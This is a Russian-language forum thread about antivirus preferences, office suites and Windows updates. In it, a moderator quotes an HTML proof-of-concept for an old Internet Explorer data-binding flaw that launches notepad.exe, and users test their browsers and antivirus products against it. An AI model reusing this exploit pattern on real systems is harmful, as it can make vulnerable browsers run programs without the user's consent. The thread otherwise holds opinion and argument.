Антивирус

Какой антивирус вы предпочитаете?

  • Касперский

    Голосов: 44 34.9%
  • Nod32

    Голосов: 38 30.2%
  • Avast

    Голосов: 22 17.5%
  • Symantec

    Голосов: 12 9.5%
  • Dr. Web

    Голосов: 10 7.9%
  • Panda

    Голосов: 0 0.0%

  • Всего проголосовало
    126

AlexXx

Местный
Впрочем, мы все скоро к вам учиться придем - теперь убожество по имени OpenOffice продвигается как единый стандарт РФ Вот тут-то пользователи и будут злобным матом ругаться, вспоминая добрым словом MS Office
На ОпенОфис ругался сильно, скачал либреОфис, отвечает все задачам и параметрам, которые мне нужно. Очень порадовала простота работы в хлс с диаграммами, да и вообще либре мне показался удобнее. Сейчас слакс досабираю себе и поставлю.
 

Mike22

Местный
JustJ, озвучте запросы.

И объясните бред про DNS и пр.

Вы похоже не читали что я говорил, если предлагаете отключить обновления.
MS признала что обновления устанавливались с отключенной системой, что они удалённо инициировали установку обновлений без желания/согласия/участия пользователей Windows.
 

JustJ

Уже освоился
JustJ, озвучте запросы.

И объясните бред про DNS и пр.

Вы похоже не читали что я говорил, если предлагаете отключить обновления.
MS признала что обновления устанавливались с отключенной системой, что они удалённо инициировали установку обновлений без желания/согласия/участия пользователей Windows.

Запросы:
1. Макросы
2. VBA, ActiveX в обе стороны
3. Связь с базами
4. Про Access наверно лучше вообще не упоминать.
5. Про Project тоже.

Вы похоже не совсем понимаете о чем пишете - отключить не автообновлние а сервис (демон) который этим занимается. Чувствуете разницу ?

Насчет DNS - подумайте как сделать ложный сервис обновлений.

За сим умолкаю, ибо не мартышка хвостами меряться
 

Mike22

Местный
Запросы:
1. Макросы
2. VBA, ActiveX в обе стороны
3. Связь с базами
4. Про Access наверно лучше вообще не упоминать.
5. Про Project тоже.
Это просите у MS.
Они даже между своими продуктами разных версий не могут обеспечить совместимость и переносимость.
А вы просите от открытого и независимого проекта поддержки закрытых технологий комерческих продуктов.
Вы видите свою ошибку?
Никому нафиг не нужна головная боль с поддержкой того, что сама MS нормально поддерживать не может.
Переходите на вменяемые стандарты и технологии.
Хватит дерьмо тырить.

Вы похоже не совсем понимаете о чем пишете - отключить не автообновлние а сервис (демон) который этим занимается. Чувствуете разницу ?
Ага.
Только обновления происходили при отключеном демоне.

Насчет DNS - подумайте как сделать ложный сервис обновлений.
Как неправильный адрес мог инициировать обновления системных компонентов Windows?
 

JustJ

Уже освоился
Это просите у MS.
Они даже между своими продуктами разных версий не могут обеспечить совместимость и переносимость.
А вы просите от открытого и независимого проекта поддержки закрытых технологий комерческих продуктов.
Вы видите свою ошибку?
Никому нафиг не нужна головная боль с поддержкой того, что сама MS нормально поддерживать не может.
Переходите на вменяемые стандарты и технологии.
Хватит дерьмо тырить.

Ага.
Только обновления происходили при отключеном демоне.

Как неправильный адрес мог инициировать обновления системных компонентов Windows?

Разве можно быть настолько упертым :(
У вас есть хотя бы одна живая, рельно используемая система ??? Что-нибудь чуть более сложное чем написание записок из серии "Прошу Вас..." ?

Ну не рвутся люди переделывать уже существующие прикладные системы. Это дорого, очень дорого. Иногда существенно дороже чем какие-то несколько сотен лицензий на продукты MS. Проблемы по совместимости у MS промеж своих версий есть, это факт.

Своей ошибки я не вижу. Если он такой хороший, претендует на замену - пусть предоставляет полноценную замену, но пока такой замены нет.
Только вот какой же он открытый и независимый если кормится на коммерческие деньги ? как и весь linux ? Вы видите свою ошибку ? :)
Представьте себе - у вас есть машина. Ездит. Добрый дядя у вас ее отбирает и говорит - я вам дам лучше и бесплатно. И дает палку для пешего туризма. Оно конечно полезнее, это бесспорно.

Обновления Win происходили при отключенном автообновлении, а не сервисе. Читайте внимательнее.

И читать вы тоже не умеете - в DNS речь шла о обновлении Lin-систем.

Так что вы не умеете ни читать, ни сопоставлять.

p.s.
Ведь не хотел писать, но вынудили.
 

Mike22

Местный
JustJ, это ведь вы начали обвинять либре/опен Офис.
Вы сказали что программа плоха т.к. не копирует продукт от MS.
Но она и не пытается это делать.
Пользуйтесь спокойно MS Офисом, никто у вас его не отбирает.

Про обновления - вы опять ерунду говорите.
Забудьте вы про DNS и вспомните о том, что все системные компоненты имеют цифровую подпись.
 

AlexXx

Местный
Я вообще на Win7 сижу лицухе, без фаера и антизверя
Молодцом фоните 1723 портом, якобы закрытым брендмауером от MS. Изначально поставленная система Win7 SP0 обновления качаются с сайта MS, продолжать??? Могу сказать у Вас дыра с марианскую впадину. Список открытых портов писать не буду. Да и запретите отправку в мс ваших отчетах об ошибках
 

comma

Новичок
Молодцом фоните 1723 портом, якобы закрытым брендмауером от MS. Изначально поставленная система Win7 SP0 обновления качаются с сайта MS, продолжать??? Могу сказать у Вас дыра с марианскую впадину. Список открытых портов писать не буду. Да и запретите отправку в мс ваших отчетах об ошибках


aaaa? посты можно удалить, дыры тоже :lol: :good:
 

comma

Новичок
Молодцом фоните 1723 портом, якобы закрытым брендмауером от MS. Изначально поставленная система Win7 SP0 обновления качаются с сайта MS, продолжать??? Могу сказать у Вас дыра с марианскую впадину. Список открытых портов писать не буду. Да и запретите отправку в мс ваших отчетах об ошибках


Смело кидайте

http://support.kaspersky.ru/faq/?qid=208640200


Я уж подобными "антивирусами" давно не пользуюсь... :good:
 

tomcat

far away...
Команда форума
Мульти модератор
<html>
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span><xml id="oExec">
<security>
<exploit>
<![CDATA[
<object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/windows/notepad.exe"></object>
]]>
</exploit>
</security>
</xml>
</html>
Ради интереса решил протестить свой браузер и антивирус. Браузер молча открыл пустую страницу без всяких дополнений типа notepad, nod32 также не проявил интереса к содержимому. Может не стоило так категорично заявлять о 100% действии этого "теста"?
 

Dimon[174RUS]

Активный пользователь
Ради интереса решил протестить свой браузер и антивирус. Браузер молча открыл пустую страницу без всяких дополнений типа notepad, nod32 также не проявил интереса к содержимому. Может не стоило так категорично заявлять о 100% действии этого "теста"?
авира сразу закричала :) сноси нод32 :)
 

tomcat

far away...
Команда форума
Мульти модератор
Ну уж "сноси". Как-нибудь сам разберусь.
Более расширенный эксперимент выявил:
1. уязвивостимости подвержен древний MyIE2;
2. антивирус SAV реагирует на содержимое файла, а nod32 - ещё один экземпляр, но на другой машине - нет.

Чтобы не докапывались мнящие себя спецами - под расширенным экспериментом подразумевался всего лишь тест на ещё двух машинах.
Выводы делайте сами.
 

AlexXx

Местный
Ну уж "сноси". Как-нибудь сам разберусь.
Более расширенный эксперимент выявил:
1. уязвивостимости подвержен древний MyIE2;
2. антивирус SAV реагирует на содержимое файла, а nod32 - ещё один экземпляр, но на другой машине - нет.

Чтобы не докапывались мнящие себя спецами - под расширенным экспериментом подразумевался всего лишь тест на ещё двух машинах.
Выводы делайте сами.
это не только уязвимость браузера :rofl:
если антивирь не среагировал на запуск данного файла, то на свалку его.
Авира при изменении расширения сразу ворчать начинает и удаляет файл
 

tomcat

far away...
Команда форума
Мульти модератор
это не только уязвимость браузера
Но у меня-то браузер не поддался на провокацию.
Да и на антивирус нареканий нет - ещё ни одну заразу не пустил на комп, эта первая.
 

AlexXx

Местный
Но у меня-то браузер не поддался на провокацию.
Да и на антивирус нареканий нет - ещё ни одну заразу не пустил на комп, эта первая.
можешь смело сносить нод, да в принципе можешь и не сносить, поздно. Сколько с нодом я машин переличил и не счесть.
 

tomcat

far away...
Команда форума
Мульти модератор
А вы не допускаете, что есть люди, соображающие в системном администрировании не меньше вашего, а то и поболее? Я тут, кажется, не спрашивал чьего-то мнения, что мне делать/не делать со своим ПК.
По сути: nod не нашёл один эксплоит - это по вашему критерий для его немедленной замены? Разве KAV, SAV и т.п. дают 100% защиту ОС? Нет. Тогда призываются другие критерии, для меня стал решающим способ обновления БД.
 

AlexXx

Местный
По сути: nod не нашёл один эксплоит - это по вашему критерий для его немедленной замены?
Он старинный как "бабушка Ленина", еще помню в 2000 году в институте над одногрупниками прикалывались, удаленно запуская всякие приколы, типа скрина синего экрана.
 

tomcat

far away...
Команда форума
Мульти модератор
Насчёт качества "щита". Давно как-то читал в инете статью про то, как человек вылечил важный (? не помню) комп с помощью trojan remover-a, т.к. "брэнды" не нашли криминала. Вывод - не стоит полагаться на что-то одно. Вот даже MS в своих обновлениях предлагает удалители троянцев, при этом честно заявляя, что это не заменитель антивируса.
 

pkv

Vega-Service, LLC
Команда форума
Сотрудники Вега-Интернет
ничто не дает 100% защиты
но касперский (хоть я его и не люблю жутко)
авира
симантек
и другие дают % больше чем нод

слишком много приносят компов с нодом и банальной вирусней которую детектит все и вся... но портящие жизнь ей богу

sdd пользуйтесь чем пожелаете - вас же никто ре заставляет менять антивирус, просто делятся опытом и наблюдениями

а по поводу не подводил вспоминается фраза одной знакомой блондинки "хороший антивирус мне друг поставил... не одного вируса не пропустил! не разу не вскрикнул! значит у меня из нет да?"
/facepalm
 
Сверху